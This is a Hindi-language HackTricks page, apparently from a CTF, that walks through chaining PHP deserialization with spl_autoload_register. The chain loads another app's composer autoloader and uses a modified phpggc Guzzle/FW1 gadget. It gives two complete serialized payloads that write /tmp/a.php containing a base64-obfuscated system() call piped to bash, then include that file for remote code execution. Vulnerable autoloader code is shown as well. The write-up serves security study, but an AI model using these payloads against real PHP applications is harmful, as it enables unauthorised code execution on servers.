mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-11 20:58:59 +00:00
97 lines
14 KiB
Markdown
97 lines
14 KiB
Markdown
# PHP - Deserialization + Autoload Classes
|
|
|
|
<details>
|
|
|
|
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
|
* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
|
|
|
</details>
|
|
|
|
सबसे पहले, आपको यह जांचना चाहिए कि [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) क्या हैं।
|
|
|
|
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
|
|
|
|
हम एक परिस्थिति में हैं जहां हमने एक **PHP deserialization वेबऐप में पाया** है जिसमें **`phpggc`** के अंदर कोई भी लाइब्रेरी गैजेट्स के लिए असुरक्षित नहीं है। हालांकि, उसी कंटेनर में एक **अलग कंपोजर वेबऐप था जिसमें असुरक्षित लाइब्रेरीज थीं**। इसलिए, लक्ष्य था **दूसरे वेबऐप के कंपोजर लोडर को लोड करना** और उसका उपयोग करके **एक गैजेट को लोड करना जो उस लाइब्रेरी का उपयोग करके गैजेट के साथ शोषण करेगा** जो deserialization के लिए असुरक्षित वेबऐप है।
|
|
|
|
चरण:
|
|
|
|
* आपने एक **deserialization पाया है** और वर्तमान ऐप कोड में **कोई भी गैजेट नहीं है**
|
|
* आप **`spl_autoload_register`** फंक्शन का उपयोग करके किसी भी स्थानीय फाइल को **`.php` एक्सटेंशन के साथ लोड कर सकते हैं**
|
|
* इसके लिए आप एक deserialization का उपयोग करते हैं जहां क्लास का नाम **`$name`** के अंदर होगा। आप **क्लास नाम में "/" या "." का उपयोग नहीं कर सकते** serialized object में, लेकिन **कोड** **underscores** ("\_") को **slashes** ("/") से **बदल रहा है**। इसलिए एक क्लास नाम जैसे `tmp_passwd` को `/tmp/passwd.php` में बदल दिया जाएगा और कोड उसे लोड करने की कोशिश करेगा।\
|
|
एक **गैजेट उदाहरण** होगा: **`O:10:"tmp_passwd":0:{}`**
|
|
```php
|
|
spl_autoload_register(function ($name) {
|
|
|
|
if (preg_match('/Controller$/', $name)) {
|
|
$name = "controllers/${name}";
|
|
} elseif (preg_match('/Model$/', $name)) {
|
|
$name = "models/${name}";
|
|
} elseif (preg_match('/_/', $name)) {
|
|
$name = preg_replace('/_/', '/', $name);
|
|
}
|
|
|
|
$filename = "/${name}.php";
|
|
|
|
if (file_exists($filename)) {
|
|
require $filename;
|
|
}
|
|
elseif (file_exists(__DIR__ . $filename)) {
|
|
require __DIR__ . $filename;
|
|
}
|
|
});
|
|
```
|
|
{% hint style="success" %}
|
|
यदि आपके पास **फाइल अपलोड** है और आप **`.php` एक्सटेंशन** वाली फाइल अपलोड कर सकते हैं, तो आप सीधे इस कार्यक्षमता का **दुरुपयोग कर सकते हैं** और RCE प्राप्त कर सकते हैं।
|
|
{% endhint %}
|
|
|
|
मेरे मामले में, ऐसा कुछ नहीं था, लेकिन **उसी कंटेनर** के अंदर एक और कंपोजर वेब पेज था जिसमें एक **`phpggc` गैजेट के लिए असुरक्षित लाइब्रेरी** थी।
|
|
|
|
* इस अन्य लाइब्रेरी को लोड करने के लिए, पहले आपको उस अन्य वेब ऐप के कंपोजर लोडर को **लोड करना होगा** (क्योंकि वर्तमान एप्लिकेशन का वाला दूसरे की लाइब्रेरीज तक पहुँच नहीं सकता।) **एप्लिकेशन का पथ जानकर**, आप बहुत आसानी से यह कर सकते हैं: **`O:28:"www_frontend_vendor_autoload":0:{}`** (मेरे मामले में, कंपोजर लोडर `/www/frontend/vendor/autoload.php` में था)
|
|
* अब आप **दूसरे ऐप के कंपोजर लोडर को लोड** कर सकते हैं, इसलिए अब समय है **`phpggc` पेलोड जेनरेट करने का**। मेरे मामले में, मैंने **`Guzzle/FW1`** का उपयोग किया, जिसने मुझे **फाइल सिस्टम के अंदर कोई भी फाइल लिखने की अनुमति दी**।
|
|
* ध्यान दें: **जेनरेट किया गया गैजेट काम नहीं कर रहा था**, इसे काम करने के लिए मैंने phpggc के **`chain.php`** पेलोड को **संशोधित** किया और सभी क्लासेस के एट्रिब्यूट्स को **निजी से सार्वजनिक में बदल दिया**। अन्यथा, स्ट्रिंग को डिसीरियलाइज करने के बाद, बनाई गई ऑब्जेक्ट्स के एट्रिब्यूट्स में कोई मान नहीं होते थे।
|
|
* अब हमारे पास दूसरे ऐप के कंपोजर लोडर को लोड करने का तरीका है और एक **काम करने वाला `phpggc` पेलोड** भी है, लेकिन हमें इसे **एक ही अनुरोध में करने की जरूरत है ताकि लोडर गैजेट के इस्तेमाल के समय लोड हो जाए**। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड ऐरे भेजा जैसे:
|
|
* आप देख सकते हैं **पहले लोडर लोड हो रहा है और फिर पेलोड**
|
|
|
|
{% code overflow="wrap" %}
|
|
```php
|
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
|
```
|
|
{% endcode %}
|
|
|
|
* अब, हम **फाइल बना और लिख सकते हैं**, परंतु उपयोगकर्ता **वेब सर्वर के अंदर किसी भी फोल्डर में लिख नहीं सकता**। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP **`system`** को कुछ **base64** के साथ कॉल करता है जो **`/tmp/a.php`** में बनाया गया है। फिर, हम **पहले प्रकार के पेलोड का पुन: उपयोग कर सकते हैं** जिसे हमने LFI के रूप में इस्तेमाल किया था ताकि दूसरे वेबऐप के कंपोजर लोडर को लोड कर सकें ताकि उत्पन्न `/tmp/a.php` फाइल को लोड कर सकें। बस इसे डिसेरियलाइजेशन गैजेट में जोड़ दें: 
|
|
|
|
{% code overflow="wrap" %}
|
|
```php
|
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
|
```
|
|
{% endcode %}
|
|
|
|
**पेलोड का सारांश**
|
|
|
|
* एक ही कंटेनर में अलग वेबऐप का **कंपोजर ऑटोलोड लोड करें**
|
|
* दूसरे वेबऐप की लाइब्रेरी का दुरुपयोग करने के लिए **phpggc गैजेट लोड करें** (प्रारंभिक वेबऐप जो डिसेरियलाइजेशन के लिए संवेदनशील था, उसकी लाइब्रेरीज में कोई गैजेट नहीं था)
|
|
* गैजेट /tmp/a.php में एक PHP पेलोड वाली फाइल **बनाएगा** जिसमें दुर्भावनापूर्ण कमांड होंगे (वेबऐप यूजर किसी भी वेबऐप के किसी भी फोल्डर में लिख नहीं सकता)
|
|
* हमारे पेलोड का अंतिम भाग **जनरेटेड PHP फाइल को लोड करेगा** जो कमांड्स को निष्पादित करेगा
|
|
|
|
मुझे इस डिसेरियलाइजेशन को **दो बार कॉल करने की आवश्यकता थी**। मेरे परीक्षण में, पहली बार `/tmp/a.php` फाइल बनी थी लेकिन लोड नहीं हुई थी, और दूसरी बार यह सही ढंग से लोड हुई थी।
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>यहाँ क्लिक करें</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**।
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
|
|
|
</details>
|